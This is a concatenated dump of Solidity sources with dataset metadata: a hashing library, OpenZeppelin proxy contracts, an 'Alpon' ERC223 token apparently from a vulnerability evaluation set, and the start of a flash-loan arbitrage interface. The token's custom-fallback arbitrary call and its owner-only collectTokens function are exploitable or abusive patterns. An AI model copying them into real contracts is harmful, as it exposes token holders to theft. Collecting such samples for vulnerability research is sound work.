b[16] = (((a[8] * (2**45)) & 0xffffffffffffffff) | (a[8] / (2**19)));
b[24] = (((a[9] * (2**2)) & 0xffffffffffffffff) | (a[9] / (2**62)));
b[4] = (((a[10] * (2**62)) & 0xffffffffffffffff) | (a[10] / (2**2)));
b[7] = (((a[11] * (2**6)) & 0xffffffffffffffff) | (a[11] / (2**58)));
b[10] = (((a[12] * (2**43)) & 0xffffffffffffffff) | (a[12] / (2**21)));
b[18] = (((a[13] * (2**15)) & 0xffffffffffffffff) | (a[13] / (2**49)));
b[21] = (((a[14] * (2**61)) & 0xffffffffffffffff) | (a[14] / (2**3)));
b[1] = (((a[15] * (2**28)) & 0xffffffffffffffff) | (a[15] / (2**36)));
b[9] = (((a[16] * (2**55)) & 0xffffffffffffffff) | (a[16] / (2**9)));
b[12] = (((a[17] * (2**25)) & 0xffffffffffffffff) | (a[17] / (2**39)));
b[15] = (((a[18] * (2**21)) & 0xffffffffffffffff) | (a[18] / (2**43)));
b[23] = (((a[19] * (2**56)) & 0xffffffffffffffff) | (a[19] / (2**8)));
b[3] = (((a[20] * (2**27)) & 0xffffffffffffffff) | (a[20] / (2**37)));
b[6] = (((a[21] * (2**20)) & 0xffffffffffffffff) | (a[21] / (2**44)));
b[14] = (((a[22] * (2**39)) & 0xffffffffffffffff) | (a[22] / (2**25)));
b[17] = (((a[23] * (2**8)) & 0xffffffffffffffff) | (a[23] / (2**56)));
b[20] = (((a[24] * (2**14)) & 0xffffffffffffffff) | (a[24] / (2**50)));
a[0] = b[0] ^ ((~b[5]) & b[10]);
a[1] = b[1] ^ ((~b[6]) & b[11]);
a[2] = b[2] ^ ((~b[7]) & b[12]);
a[3] = b[3] ^ ((~b[8]) & b[13]);
a[4] = b[4] ^ ((~b[9]) & b[14]);
a[5] = b[5] ^ ((~b[10]) & b[15]);
a[6] = b[6] ^ ((~b[11]) & b[16]);
a[7] = b[7] ^ ((~b[12]) & b[17]);
a[8] = b[8] ^ ((~b[13]) & b[18]);
a[9] = b[9] ^ ((~b[14]) & b[19]);
a[10] = b[10] ^ ((~b[15]) & b[20]);
a[11] = b[11] ^ ((~b[16]) & b[21]);
a[12] = b[12] ^ ((~b[17]) & b[22]);
a[13] = b[13] ^ ((~b[18]) & b[23]);
a[14] = b[14] ^ ((~b[19]) & b[24]);
a[15] = b[15] ^ ((~b[20]) & b[0]);
a[16] = b[16] ^ ((~b[21]) & b[1]);
a[17] = b[17] ^ ((~b[22]) & b[2]);
a[18] = b[18] ^ ((~b[23]) & b[3]);
a[19] = b[19] ^ ((~b[24]) & b[4]);
a[20] = b[20] ^ ((~b[0]) & b[5]);
a[21] = b[21] ^ ((~b[1]) & b[6]);
a[22] = b[22] ^ ((~b[2]) & b[7]);
a[23] = b[23] ^ ((~b[3]) & b[8]);
a[24] = b[24] ^ ((~b[4]) & b[9]);
a[0] = a[0] ^ rc[i];
}
return a;
}
function rightRotate(uint32 x, uint32 n) internal pure returns (uint32) {
return ((x) >> (n)) | ((x) << (32 - (n)));
}
function ch(uint32 e,
uint32 f,
uint32 g) internal pure returns (uint32) {
return ((e & f) ^ ((~e) & g));
}
// SHA256 compression function that operates on a 512 bit chunk
// Note that the input must be padded by the caller
// For the initial chunk, the initial values from the SHA256 spec should be passed in as hashState
// For subsequent rounds, hashState is the output from the previous round
function sha256Block(uint256[2] memory inputChunk, uint256 hashState)
internal
pure
returns (uint256)
{
uint32[64] memory k = [
0x428a2f98,
0x71374491,
0xb5c0fbcf,
0xe9b5dba5,
0x3956c25b,
0x59f111f1,
0x923f82a4,
0xab1c5ed5,
0xd807aa98,
0x12835b01,
0x243185be,
0x550c7dc3,
0x72be5d74,
0x80deb1fe,
0x9bdc06a7,
0xc19bf174,
0xe49b69c1,
0xefbe4786,
0x0fc19dc6,
0x240ca1cc,
0x2de92c6f,
0x4a7484aa,
0x5cb0a9dc,
0x76f988da,
0x983e5152,
0xa831c66d,
0xb00327c8,
0xbf597fc7,
0xc6e00bf3,
0xd5a79147,
0x06ca6351,
0x14292967,
0x27b70a85,
0x2e1b2138,
0x4d2c6dfc,
0x53380d13,
0x650a7354,
0x766a0abb,
0x81c2c92e,
0x92722c85,
0xa2bfe8a1,
0xa81a664b,
0xc24b8b70,
0xc76c51a3,
0xd192e819,
0xd6990624,
0xf40e3585,
0x106aa070,
0x19a4c116,
0x1e376c08,
0x2748774c,
0x34b0bcb5,
0x391c0cb3,
0x4ed8aa4a,
0x5b9cca4f,
0x682e6ff3,
0x748f82ee,
0x78a5636f,
0x84c87814,
0x8cc70208,
0x90befffa,
0xa4506ceb,
0xbef9a3f7,
0xc67178f2
];
uint32[64] memory w;
uint32 i;
for (i = 0; i < 8; i++) {
w[i] = uint32(inputChunk[0] >> (224 - (32 * i)));
w[i + 8] = uint32(inputChunk[1] >> (224 - (32 * i)));
}
uint32 s0;
uint32 s1;
for (i = 16; i < 64; i++) {
s0 = rightRotate(w[i - 15], 7) ^ rightRotate(w[i - 15], 18) ^ (w[i - 15] >> 3);
s1 = rightRotate(w[i - 2], 17) ^ rightRotate(w[i - 2], 19) ^ (w[i - 2] >> 10);
w[i] = w[i - 16] + s0 + w[i - 7] + s1;
}
uint32[8] memory state;
for (i = 0; i < 8; i++) {
state[i] = uint32(hashState >> (224 - (32 * i)));
}
uint32 temp1;
uint32 temp2;
uint32 maj;
for (i = 0; i < 64; i++) {
s1 = rightRotate(state[4], 6) ^ rightRotate(state[4], 11) ^ rightRotate(state[4], 25);
temp1 = state[7] + s1 + ch(state[4], state[5], state[6]) + k[i] + w[i];
s0 = rightRotate(state[0], 2) ^ rightRotate(state[0], 13) ^ rightRotate(state[0], 22);
maj = (state[0] & (state[1] ^ state[2])) ^ (state[1] & state[2]);
temp2 = s0 + maj;
state[7] = state[6];
state[6] = state[5];
state[5] = state[4];
state[4] = state[3] + temp1;
state[3] = state[2];
state[2] = state[1];
state[1] = state[0];
state[0] = temp1 + temp2;
}
for (i = 0; i < 8; i++) {
state[i] += uint32(hashState >> (224 - (32 * i)));
}
uint256 result;
for (i = 0; i < 8; i++) {
result |= (uint256(state[i]) << (224 - (32 * i)));
}
return result;
}
}
| 345,672 | 13,991 |
419ba6c615489c543b49ad0f4dc59ac6f17c6f21ba49cd0dec219268ce432555
| 36,215 |
.sol
|
Solidity
| false |
481422385
|
helix-bridge/contracts
|
9502f23dac3178911f8211f4dde3160ec97c7a6d
|
helix-contract/flatten/sub2eth/ProxyAdmin.sol
| 4,102 | 16,337 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
// File @zeppelin-solidity/contracts/proxy/Proxy.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// File @zeppelin-solidity/contracts/proxy/beacon/IBeacon.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
// File @zeppelin-solidity/contracts/utils/Address.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @zeppelin-solidity/contracts/interfaces/draft-IERC1822.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
// File @zeppelin-solidity/contracts/utils/StorageSlot.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
// File @zeppelin-solidity/contracts/proxy/ERC1967/ERC1967Upgrade.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// File @zeppelin-solidity/contracts/proxy/ERC1967/ERC1967Proxy.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol)
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// File @zeppelin-solidity/contracts/proxy/transparent/TransparentUpgradeableProxy.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/transparent/TransparentUpgradeableProxy.sol)
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// File @zeppelin-solidity/contracts/utils/Context.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @zeppelin-solidity/contracts/access/Ownable.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @zeppelin-solidity/contracts/proxy/transparent/ProxyAdmin.sol@v4.7.3
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/ProxyAdmin.sol)
contract ProxyAdmin is Ownable {
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
function upgradeAndCall(TransparentUpgradeableProxy proxy,
address implementation,
bytes memory data) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
// File contracts/mapping-token/deprecated/admin.sol
// License-Identifier: MIT
| 235,535 | 13,992 |
82c55c1cb73aaa4293f98f9f0c699ea4aeb93e758ea8da55419cf030fdb53dac
| 18,183 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xce9ecc71e134a4d2d36a8258082eeab6d1318da7.sol
| 3,563 | 13,958 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract Alpon is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Alpon";
string public symbol = "ALPN";
uint8 public decimals = 8;
uint256 public initialSupply = 10e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Alpon() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 219,231 | 13,993 |
07dedf6ca0a134d2f4bd1aeb515d3b4a048a151c11cf847e66e27c7ca9709fc2
| 11,048 |
.sol
|
Solidity
| false |
289278154
|
OctoFi/tentacle
|
5d02fb1b6f86a1f43476e1d05017bfd4d8854b08
|
contracts/examples/tutorialSamples/flashLoanWithArb.sol
| 3,028 | 10,760 |
pragma solidity >=0.4.26;
pragma experimental ABIEncoderV2;
interface IKyberNetworkProxy {
function maxGasPrice() external view returns(uint);
function getUserCapInWei(address user) external view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) external view returns(uint);
function enabled() external view returns(bool);
function info(bytes32 id) external view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate);
